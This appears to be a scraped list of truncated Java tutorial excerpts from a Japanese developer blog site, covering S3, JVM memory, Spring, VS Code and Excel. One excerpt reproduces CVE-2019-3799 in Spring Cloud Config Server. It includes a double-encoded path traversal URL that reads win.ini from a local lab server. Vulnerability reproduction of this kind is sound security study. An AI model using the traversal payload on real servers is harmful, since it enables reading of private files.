- 1. JavaでAWS S3オブジェクトの削除
- 2. Javaで作る年齢当てゲーム
- 3. Eclipseでビルドした.warファイルをEC2上に配置して実行してみるとUnsupportedClassVersionErrorが出力された
- 4. Javaの参照の仕組み(スタックとヒープ)
- 5. GoogleMapsAPIのJavaSDKを使って、逆GeoCodingの結果を日本語で取得する。
- 6. Gradleでdocker環境を構築する方法 for intelliJ
- 7. java 何度も検索してしまうもの【java初心者】
- 8. CVE-2019-3799 Spring-Cloud-Config-Server 路径穿越/任意文件读取
- 9. Java Hack
- 10. 日付の期間判定・過去未来判定について
- 11. [Java] 天パの人による適当な入門 Java編 その0 (コードの決まり事)
- 12. マッスルJava基礎日記(1日目)
- 13. [Mac]Visual Studio Code(VS Code)にJavaをインストールする
- 14. For文の中にFor文を入れる二重ループについて
- 15. Java を使ってEclipseのコンソールにカレンダーを表示させてみた。
- 16. [Java] 天パの人による適当な入門 Java編 その1 (print,println)
- 17. Javaのクラスメソッド
- 18. GraalVMを使ってみる
- 19. [Mac]Visual Studio CodeにJavaをインストールする
- 20. JavaによるExcelコメントの追加、読み取り、削除
JavaでAWS S3オブジェクトの削除
AWS SDK for Javaを利用して、S3のオブジェクトを削除できます。
#1つのオブジェクトの削除
bucket名とオブジェクトキーを指定すれば、削除できます。“` Java
try {
final AmazonS3 s3 = new AmazonS3Client();
s3.deleteObject(bucket_name, object_key);
} catch (AmazonServiceException e) {
e.printStackTrace();
}
“`
#指定フォルダーにある全てのオブジェクトの削除
bucket名とフォルダー名を指定すれば、指定フォルダーにある全てのオブジェクトを削除できます。“` Java
try {
final AmazonS3 s3 = new AmazonS3Client();
ObjectListing objListing = s3.listObjects(bucket_name,key_prefixes[2]);
Listobj
Javaで作る年齢当てゲーム
# とあるテレビ番組を見ていて
BSで「プロスタ」というScratchを題材にした子供向けプログラミング教育番組が
放送されているのを拝見。
私が見た回の中で、安藤先生という方の年齢を少ない質問数で当ててみようという
コーナーがあったのでその部分を参考にJavaで年齢当てゲームを作ってみました。“`java:Main.java
package andouteacher;import java.util.Random;
import java.util.Scanner;// 安藤先生の年齢を当てるゲームです
// 指定された回答数の中で年齢を当てましょう
// コツは2分探索です
// 効率の良い答え方で候補を絞っていきましょうpublic class Main {
public static void main(String[] args) {
Random rnd = new Random();
int age = rnd.nextInt(80);
int limit = 5;Scanner sc = new Scanner(System.in
Eclipseでビルドした.warファイルをEC2上に配置して実行してみるとUnsupportedClassVersionErrorが出力された
#環境
###実行環境
AWS EC2 t2.micro
Amazon Linux 2
Apache Tomcat/9.0.34
“`shell
# java -version
openjdk version “1.8.0_252-debug”
OpenJDK Runtime Environment (build 1.8.0_252-debug-b09)
OpenJDK 64-Bit Server VM (build 25.252-b09-debug, mixed mode)# javac -version
javac 1.8.0_252-debug
“`###ビルド環境(ローカル環境)
Windows10
Eclipse 2020-03
Javaの参照の仕組み(スタックとヒープ)自社の後輩にJavaの参照の仕組みをスタック領域とJavaヒープ領域を用いて説明する機会がありました。
自分自身、この領域同士の関係性をまだ知らなかった頃はJavaの参照について色々と混乱していた記憶があります。
良い機会なので記事にまとめてみようと思います。## Javaの参照を実現する仕組み
Javaの参照を実現する為にJVMにはスタック領域とJavaヒープ領域が存在します。
この2つの領域によりJavaの参照は実現されます。|領域名|概要|
|:—:|:—|
|スタック領域|主にヒープ領域への参照情報を保持します。またプリミティブ型の値も保持します。|
|JAVAヒープ領域|オブジェクトの実際の値はこちらのメモリに保持します。|## オブジェクト型とプリミティブ型の値の保持方法の違い
Javaのオブジェクト(Classや配列など)はスタック領域にヒープ領域の参照情報を持ちます。
実際の値はヒープ領域に保持します。
GoogleMapsAPIのJavaSDKを使って、逆GeoCodingの結果を日本語で取得する。# はじめに
GoogleMapsAPIを使って、緯度経度から住所を取得する処理を書きました。
GoogleからJavaのSDKが提供されています。
日本語で住所を返す設定のメモ書きです。# JavaのSDK
– Java Client for Google Maps Serviceshttps://github.com/googlemaps/google-maps-services-java
# ソースコード
“`java
public String reverceGeocoding(double lat, double lon) {
LatLng latlng = new LatLng(lat, lon);GeoApiContext context = new GeoApiContext.Builder().apiKey(apikey).build();
GeocodingApiRequest request = GeocodingApi.reverseGeocode(context, latlng).lanGradleでdocker環境を構築する方法 for intelliJ
[spring-boot-doma2-sample](https://github.com/miyabayt/spring-boot-doma2-sample)リポジトリを参考にしました。
**build.gradle**を新しい書き方にしました。## Spring Initializr
まずは下記のサイトでspringアプリケーションを作成します。
https://start.spring.io/### アプリケーションで使用するプラグインをDependenciesに追加します。
– Spring boot DevTools
– Spring Web
– Thymeleaf
– Spring Data JDBC
– Flyway Migration
– MySQL Driver最後に下部にある*GENERATE*をクリックし、ダウンロードされzipファイルを解凍して適当なディレクト名に変更します。
![スクリーンショット 2020-06-01 22.51.44.png](https://qiita-image-store.s3.ap-northeast-1.amaz
java 何度も検索してしまうもの【java初心者】
####随時追加予定.
###1, length の取り方
###### int 配列
“` java
int [] intArray = {1,2,3,4,5};
System.out.println(intArray.length);
“`###### 出力: 5
###### String 文字列
“` java
String text = “text”;
System.out.println(text.length());
“`
###### 出力: 4###### StringBuilder型 文字列
“` java
StringBuilder sb = new StringBuilder();
sb.append(“text”);
System.out.println(sb.length());
“`
###### 出力: 4###2, 型変換
###### String >> int 変換
“`java
String StringA = “0”;
int intA = Integer.parseInt(StringA);
“`
#
CVE-2019-3799 Spring-Cloud-Config-Server 路径穿越/任意文件读取
## 复现
idea创建一个spring项目,然后pom.xml中加入“`xml
org.springframework.cloud
spring-cloud-config-server
2.0.2.RELEASE
“`
配置application.properties“`
server.port=8888
spring.cloud.config.server.git.uri=https://github.com/SukaraLin/awesome-cve-poc.git
“`然后访问
`http://127.0.0.1:8888/aaa/bbb/master/..%252F..%252F..%252F..%252F..%252F..%252Fwindows/win.ini`
![image.png](https://qiita-image-store.s3.ap-
Java Hack
#Java Hackとは
Javaのいわゆる案件に入るための準備
#Javaはお金になるし、面白い案件に入れると(信じる)
← 作ってからkotlinにすることもできると思われる。
#コンテンツ
・Javaそのもの
・Spring
・SQL
・DB周り
・ネットワーク
・シラバス作成
#Javaそのもの
教材を使う。
#Spring
APIから作り上げていく。
#SQL
Progate道場コースまで完了
https://prog-8.com/languages/sql
・ポートフォリオの事前準備中に強化と情報収集を行う。
#DB周り その他
#シラバス
日付の期間判定・過去未来判定について
# 結論
ミリ秒にして大小判定するのマジおすすめ
※Javaを例にしていますが、どの言語でも同じ話です※良い子のみんなは、java.util.Dateなんて使わずに[Joda-Time](https://www.joda.org/joda-time/)つかうか、Java 1.8以降ならTime APIを使おうネ)
**※ただの参考コードです。Dateクラスの非推奨コンストラクタ使うのやめようね**
“`java
Date nowDate= new Date();
// 2020/4/1 00:00:00 ~2020/4/30 23:59:59 の場合に「キャンペーン期間中だよ」と出力
if (nowDate.getTime() >= new Date(2020, 3, 1, 0, 0, 0).getTime()
&& nowDate.getTime() < new Date(2020, 4, 1, 0, 0, 0).getTime()) { System.out.println("キャンペーン期間中だよ"); } ``` # 言い訳 皆さんは、J
[Java] 天パの人による適当な入門 Java編 その0 (コードの決まり事)
##コードの決まり
その0は、番外編というか、なんとなくわかっていくだろうけどめっちゃ大切なことを書いています。
本編はその1からです。シリーズの説明なども書いています。
https://qiita.com/Shodai-Kurasaki/items/99cf6b0ec1a8e80640b1
### { } について“`java:Sample1.java
class Sample1
{
public static void main(String[] args)
{
System.out.println(“Hello World!”);
}
}
“`
このようにコード内には{ }が存在しています。たくさんコードをうつしていくと大体どこにあるかがわかってきますが、覚えてほしいのは、
**{と} の数が必ず同じになるようにする**
ということです(例外:文字としての { は数えません)。すぐにこのセットをたくさん使うプログラムを書くことになるとおもいますが、その時1つでも足りなければもう動きません。
**それの防止のために{ }のセットごとに階段状にしています。
マッスルJava基礎日記(1日目)
駆け出し脳筋のプログラム日記
学んだことをまとめる#Javaの特徴
– C/C++を踏襲した文法体型
– オブジェクト思考言語
– 静的型言語
– 変数、引数、戻り値には必ず型を宣言しなければならない!!#Java Virtual Machine(JVM/JavaVM)
– Javaのバイナリ形式をそのまま解釈して実行出来る仮想的なマシン
– 各OSでは専用のJavaVMを使うことで共通の実行結果を得る# クラスとは?!
– 状態・状況や振る舞い・動作をまとめて定義できるプログラムの定義
| 車クラス | 状態・状況 | 振る舞い・動作 |
|:———–|———————–|————|
| [Mac]Visual Studio Code(VS Code)にJavaをインストールする#はじめに
今回行った環境は以下の通り“`
OS:MacOS Catalina(バージョン 10.15.4)
Java:14
“`#Javaのインストール
拡張機能にて「Java Extension Pack」をインストールします。
VS Codeで以下のコマンドを実行し、拡張機能インストール画面を表示します。
「Command + Shift + x」検索画面にて「java」を入力し、「Java Extension Pack」を選択してインストール
インストールした結果、↓の画面が表示された場合は「手動でダウンロード」を選択
最近JavaSilverを学習しているYuheiです。
問題を解いてたら、二重ループについて理解できない部分がありましたので、調べてみました。
結果は下記の通りです。
# 二重ループとは
別名多重ループとも言い、For文の中に更にFor文を入れて、2つのループにしている状態をいいます。
下記は、九九を表示するためのコードです。
“`
public class KuKu {
public static void main(String args[]) {
for (int i = 1; i <= 9; i++) { for (int j = 1; j <= 9; j++) { System.out.print(i*j + " "); } System.out.println(); } } } ``` ↑ これを実行すると、結果は下記のようになります。 ``` 1 2 3 4 5 6 7 8 9 2 4Java を使ってEclipseのコンソールにカレンダーを表示させてみた。
あくまでメモ用として。
・cal.set(int year,int month-1,1)するときに月が「0から11」⇒「1月から12月」にセットされることを忘れがちだった。
・cal.getActualMaximum(Calendar.DATE)でxxxx年xx月は何日あるのかを知ることができる。
・曜日と日付は配列を使って格納した。![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/562148/f116ec42-3b4b-622c-b318-b48dfc7a8bd7.png)
・カレンダーを作って出力するクラス
package foo;
import java.util.Calendar;
public class Calmaker {public void Makecal(int year,int month){
Calendar cal = Calendar.getInstance();
//int weekday = cal.get(Calendar.DAY_
[Java] 天パの人による適当な入門 Java編 その1 (print,println)
##天パの人による適当な入門 について
学校でプログラミングの授業があるけど「わからない・苦手だ」という人や、とりあえずコードが書けるようになりたい人向けです。細かいことはあとでちゃんとやればいいんです。
なので用語もちゃんとした言葉づかいじゃないところもあります。フィーリングに頼る部分もあります。
このシリーズでプログラミングがある程度できるようになったら、**本や大学などで先生が配布した授業資料などにしっかり目を通してください。**このシリーズの知識だけだとそのうち限界がくると思います。みなくてもなんとなくわかっていくとは思いますが、結構基本的かつ大切なことを書いておきました。一応目を通していただきたいです。
https://qiita.com/Shodai-Kurasaki/items/b0137cf03ddd75485a6d
##本編
###文字とかを表示する。
####1-1
何も言わず次のサンプルコードを実行してください。ファイル名はSample1、拡張子は.java (今後ずっと)で。“`java:Sample1.java
class Sample1
{
p
Javaのクラスメソッド
###クラスメソッド
クラスに属するメソッドのことです。
クラスメソッドの定義は、「public static 戻り値の型 メソッド名()」です。
クラスメソッドはインスタンスを生成しない状態でも呼び出せます。
【例】Personクラスとします“`Person.java
class Person {
public static 戻り値の型 メソッド名() {
// メソッドの処理
}
}
“`
【例】“`Main.java
class Main {
public static void main(String[] args) {〜省略〜
Person.printCount();
}
}
“`“`Person.java
class Person {
public static int count = 0;〜省略〜
public static void printCount() {
System.out.println(“合計は” + count + “です”);
}
}
“`
GraalVMを使ってみる
## 前書き
GraalVMのパフォーマンス、しいては、GraalをJITコンパイラとして利用した際のパフォーマンスにフォーカスした記事なので、GraalVMの特徴の一つであるnative imageや、multiple languagesなどに関しては、この記事では触れていない。## 環境
– macOS Mojava 10.14.4
– Scala 2.13.1
– sbt 1.3.8
– GraalVM 20.1## GraalVMとは
Javaで書かれた最新のJITコンパイラ、Graalを搭載したVMである。
[GraalVM公式ドキュメント](https://www.graalvm.org/)によると、Graalには以下の特徴がある。> Graal自体がjavaで実装されているので、標準のJITコンパイラではできなかった部分的なエスケープ分析などの強力な最適化により、Javaプログラムを大幅に高速化できる
実際にどのくらい速くなるのかは後述している。
ちなみに、VM変更するのは面倒であれば、以下のオプションをつけることで、JITコンパイラだけGraalに
[Mac]Visual Studio CodeにJavaをインストールする
以下のページを開き、ダウンロードする。
https://code.visualstudio.com/
ダウンロード以降の手順は↓を参考にすると分かりやすいです。
https://qiita.com/watamura/items/51c70fbb848e5f956fd6
JavaによるExcelコメントの追加、読み取り、削除
注釈は、指定されたExcelセルにプロンプトまたは追加情報を追加するために一般的に使用されるリッチテキスト注釈です。Free Spire.XLS for Javaは、JavaアプリケーションでExcelファイルにコメントを無料で追加および操作する機能を開発者に提供します。この記事では、Free Spire.XLS for Javaを使用してExcelドキュメントのコメントを追加、読み取り、削除する方法を紹介します。
**基本的な手順:**
**1.** [Free Spire.XLS for Java](https://www.e-iceblue.com/Download/xls-for-java-free.html)パッケージをダウンロードして解凍します。
**2.** libフォルダーのSpire.Xls.jarパッケージを依存関係としてJavaアプリケーションにインポートするか、MavenリポジトリーからJARパッケージをインストールします(pom.xmlファイルを構成するコードについては、以下を参照してください)。
**3.** Javaアプリケーションで、新しいJava